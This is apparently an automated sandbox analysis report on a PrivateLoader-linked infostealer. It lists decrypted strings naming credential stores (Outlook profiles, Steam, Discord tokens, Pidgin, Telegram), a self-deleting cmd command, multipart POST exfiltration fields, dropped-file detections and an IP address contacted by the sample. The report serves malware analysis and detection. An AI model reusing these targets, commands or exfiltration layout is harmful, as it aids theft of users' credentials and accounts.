            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: map*
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: A7FDF864FBC10B77*
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: A92DAA6EA6F891F2*
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: F8806DD0C461824F*
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Telegram
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: *.tox
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: *.ini
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Password
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: 00000001
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: 00000002
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: 00000003
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: 00000004
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: \Outlook\accounts.txt
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Pidgin
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: \.purple\
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: accounts.xml
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: dQw4w9WgXcQ
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: token:
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Software\Valve\Steam
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: SteamPath
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: \config\
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: ssfn*
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: config.vdf
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: DialogConfig.vdf
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: DialogConfigOverlay*.vdf
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: libraryfolders.vdf
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: loginusers.vdf
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: \Steam\
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: sqlite3.dll
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: browsers
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: done
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Soft
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: \Discord\tokens.txt
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: /c timeout /t 5 & del /f /q "
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: " & del "C:\ProgramData\*.dll"" & exit
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: C:\Windows\system32\cmd.exe
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: https
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Content-Type: multipart/form-data; boundary=----
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: POST
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: HTTP/1.1
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Content-Disposition: form-data; name="
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: hwid
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: build
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: token
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: file_name
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: file
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: message
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: screenshot.jpg
            Machine Learning detection for dropped file
            Source: C:\Users\user\AppData\Local\KTrOP3dHFImCgksUms5y6GT0.exeJoe Sandbox ML: detected
            Source: C:\Users\user\AppData\Local\BBqYMraWtNak9E70T03xv71q.exeJoe Sandbox ML: detected
            Source: C:\Users\user\AppData\Local\6V2xKGSdzZOG2l67fqdIp9iJ.exeJoe Sandbox ML: detected
            Source: C:\Users\user\AppData\Local\JJ3cNx9vKHcCuMyuszfvJls9.exeJoe Sandbox ML: detected
            Source: C:\Users\user\AppData\Local\H62xkOOft6fSMQ98kaLeH0L3.exeJoe Sandbox ML: detected
            Source: C:\Users\user\AppData\Local\7vGVJ4vo69rcWRQudRLDXauN.exeJoe Sandbox ML: detected
            Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile opened: C:\Windows\SysWOW64\msvcr100.dllJump to behavior
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer\opera_installer_20231121151231039.log
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer\opera_installer_20231121151237920.log
            Source: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer\opera_installer_20231121151300960.log
            Source: C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer\opera_installer_20231121151306388.log
            Source: file.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
            Source: Binary string: RuntimeBroker.pdbUGP source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1637207390.0000012FFC6E1000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: RuntimeBroker.pdb source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1637207390.0000012FFC6E1000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\x64\Release\XBundlerTlsHelper.pdb source: yYAwgDWrkYJyyOGvYzyiJrxu.exe
            Source: Binary string: c:\srv\slave\workdir\repos\opera\chromium\src\out\Release\installer.exe.pdb source: OPqTdTFbxWlK6znimRD995XD.exe
            Source: Binary string: WmiPrvSE.pdbUGP source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1636955898.0000012FFC6E1000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: c:\srv\slave\workdir\repos\opera\chromium\src\out\Release\installer.exe.pdbp source: r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000E71000.00000040.00000001.01000000.0000000D.sdmp
            Source: Binary string: backgroundTaskHost.pdb source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1636955898.0000012FFC6E1000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: MoUsoCoreWorker.pdbGCTL source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1636463543.0000012FFCCCE000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: caspol.pdb source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1658638420.0000012FFC6F5000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: spoolsv.pdb source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1646448289.0000012FFCCC1000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\wivapasiyuvaw_kicuwu\yupo-37\tun.pdb source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000000.1502064925.0000000000401000.00000020.00000001.01000000.00000007.sdmp
            Source: Binary string: b.dll.pdb source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000000.1505650819.0000000000B4D000.00000080.00000001.01000000.00000008.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000008.00000000.1510532640.0000000000B4D000.00000080.00000001.01000000.00000008.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000000.1520861746.00000000010CD000.00000080.00000001.01000000.0000000D.sdmp
            Source: Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: yYAwgDWrkYJyyOGvYzyiJrxu.exe
            Source: Binary string: MoUsoCoreWorker.pdb source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1636463543.0000012FFCCCE000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: WmiPrvSE.pdb source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1636955898.0000012FFC6E1000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: spoolsv.pdbUGP source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1646448289.0000012FFCCC1000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: +.exe.pdb source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000000.1505650819.0000000000B4D000.00000080.00000001.01000000.00000008.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000008.00000000.1510532640.0000000000B4D000.00000080.00000001.01000000.00000008.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000000.1520861746.00000000010CD000.00000080.00000001.01000000.0000000D.sdmp
            Source: Binary string: C:\yomux\vopey\safuvitizidoz-xoy28\lovihizonohe.pdb source: 8AbV0HUy7VtZhy8wnNLXmsko.exe, 0000000E.00000001.1532314523.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, TNpJBjREJ9Gyf03FTGsVwgMm.exe, 0000001E.00000001.1750064546.0000000000401000.00000020.00000001.01000000.0000001A.sdmp
            Source: Binary string: +.exe.pdbp source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000000.1505650819.0000000000B4D000.00000080.00000001.01000000.00000008.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000008.00000000.1510532640.0000000000B4D000.00000080.00000001.01000000.00000008.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000000.1520861746.00000000010CD000.00000080.00000001.01000000.0000000D.sdmp
            Source: Binary string: backgroundTaskHost.pdbGCTL source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1636955898.0000012FFC6E1000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: ;C:\wivapasiyuvaw_kicuwu\yupo-37\tun.pdb source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000000.1502064925.0000000000401000.00000020.00000001.01000000.00000007.sdmp
            Source: Binary string: c:\srv\slave\workdir\repos\opera\chromium\src\out\Release\installer_lib.dll.pdb source: r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmp

            Spreading

            barindex
            Yara detected PrivateLoader
            Source: Yara matchFile source: C:\Users\user\Pictures\Minor Policy\6CYB0iVk9rownSr74i6xHL6G.exe, type: DROPPED
            Source: Yara matchFile source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\home[1].exe, type: DROPPED
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\Jump to behavior
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\Jump to behavior
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\Jump to behavior
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\Jump to behavior
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\Jump to behavior
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\Jump to behavior
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: 32_2_0040553A FindFirstFileA,32_2_0040553A
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: 32_2_004055DE __EH_prolog,FindFirstFileW,AreFileApisANSI,FindFirstFileA,32_2_004055DE

            Networking

            barindex
            Yara detected PrivateLoader
            Source: Yara matchFile source: C:\Users\user\Pictures\Minor Policy\6CYB0iVk9rownSr74i6xHL6G.exe, type: DROPPED
            Source: Yara matchFile source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\home[1].exe, type: DROPPED
            Creates HTML files with .exe extension (expired dropper behavior)
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: lw8GpTDPA5CpaB9xdskKs5V3.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: zihCuAQZJ7sPILn6r3jO9GQY.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: zCvOx6XtSJ07pMQfH8UPv1oL.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: 9SGQSs1LUD8QXKzbk1xqOcnZ.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: IQbcma6zrvJ1HzUv5k9WE6QY.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: fqsYLNGMADr8Pe5IKZ4OWp3D.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: cFZJogIcWZegFIw2AubGvgEu.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: iJmdFm3rqTwH6xDLZ8cWxZXG.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: 6JaEfUgIwf0Dz0lqfMOcn7se.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: oNBeMrBpQUeJZTBuJ5mgI7VA.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: tqz2Az2q2AYLyjuBK1xHdTga.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: YZIOt1H7OqHvSxgYCR6O5zpg.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: 4EHgS2alV3RiwqAfmEQ0frTw.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: qrWI8PCVXnCZK60Db2frGhgL.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: zKRmyPOjumLsF9lPguEKV5Yd.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: XiQfgDjwaoRC0aI9y1xzbcbz.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: EbwRdwlpkBI3NzIA6ZPKj1CX.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: 2QIlVpy1FnjRPIOnHFE2X7B9.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: k39l0sX5PJRqCS3uCLYRxcLA.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: ZfCRGStu7Zk7TsNuGeK3K41q.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: Qzkxn5MX2dVznQURvJaX7GF4.exe.4.dr
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: 37OEtIICZwQGY3VibExbHo6T.exe.4.dr
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: F4Qdxsrold2qERI1flyDP0Wg.exe.15.dr
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: x4Ya5MKnF3aCT1AJ8Z5SJfGt.exe.15.dr
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: DAtQ4XqD5Usfo4gF8z_3KYHd.exe.15.dr
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: YUs90TtW16jkIRN8eUZqSYBQ.exe.15.dr
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: A2I4Pi1m1VN3iZg1YDOjtF35.exe.15.dr
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: 5kBZDMiD3GP8J4HhIVdC5xHi.exe.15.dr
            Yara detected Generic Downloader
            Source: Yara matchFile source: 0.2.file.exe.2bd4758.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0.2.file.exe.2bd7180.0.raw.unpack, type: UNPACKEDPE
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: http://autoupdate-staging.services.ams.osa/
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: http://autoupdate-staging.services.ams.osa/v4/v5/netinstaller///windows/x64v2/Fetching
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1518401925.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, 3igcf6uAz0sWTHiwyuTtf5S5.exe, 00000009.00000002.2623630907.000002578FA80000.00000004.00000001.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1518401925.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, 3igcf6uAz0sWTHiwyuTtf5S5.exe, 00000009.00000002.2623630907.000002578FA80000.00000004.00000001.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1518401925.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, 3igcf6uAz0sWTHiwyuTtf5S5.exe, 00000009.00000002.2623630907.000002578FA80000.00000004.00000001.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1518401925.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, 3igcf6uAz0sWTHiwyuTtf5S5.exe, 00000009.00000002.2623630907.000002578FA80000.00000004.00000001.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1518401925.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, 3igcf6uAz0sWTHiwyuTtf5S5.exe, 00000009.00000002.2623630907.000002578FA80000.00000004.00000001.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1518401925.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, 3igcf6uAz0sWTHiwyuTtf5S5.exe, 00000009.00000002.2623630907.000002578FA80000.00000004.00000001.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1518401925.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, 3igcf6uAz0sWTHiwyuTtf5S5.exe, 00000009.00000002.2623630907.000002578FA80000.00000004.00000001.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
            Source: 3igcf6uAz0sWTHiwyuTtf5S5.exe, 00000009.00000002.2623630907.000002578FA80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1518401925.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
            Source: file.exe, 00000000.00000002.1468881299.0000000003B69000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1473871872.0000000006270000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: http://james.newtonking.com/projects/json
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: http://localhost:3001api/prefs/?product=$1&version=$2..
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1518401925.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, 3igcf6uAz0sWTHiwyuTtf5S5.exe, 00000009.00000002.2623630907.000002578FA80000.00000004.00000001.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: http://ocsp.digicert.com0
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1518401925.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, 3igcf6uAz0sWTHiwyuTtf5S5.exe, 00000009.00000002.2623630907.000002578FA80000.00000004.00000001.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: http://ocsp.digicert.com0A
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1518401925.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, 3igcf6uAz0sWTHiwyuTtf5S5.exe, 00000009.00000002.2623630907.000002578FA80000.00000004.00000001.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: http://ocsp.digicert.com0C
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1518401925.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, 3igcf6uAz0sWTHiwyuTtf5S5.exe, 00000009.00000002.2623630907.000002578FA80000.00000004.00000001.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: http://ocsp.digicert.com0X
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1518401925.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, 3igcf6uAz0sWTHiwyuTtf5S5.exe, 00000009.00000002.2623630907.000002578FA80000.00000004.00000001.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: http://www.digicert.com/CPS0
            Source: file.exe, 00000000.00000002.1468881299.0000000003B69000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1473871872.0000000006270000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: http://www.newtonsoft.com/jsonschema
            Source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1518401925.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpString found in binary or memory: http://www.opera.com0
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1706606834.000000000077F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://167.235.143.166
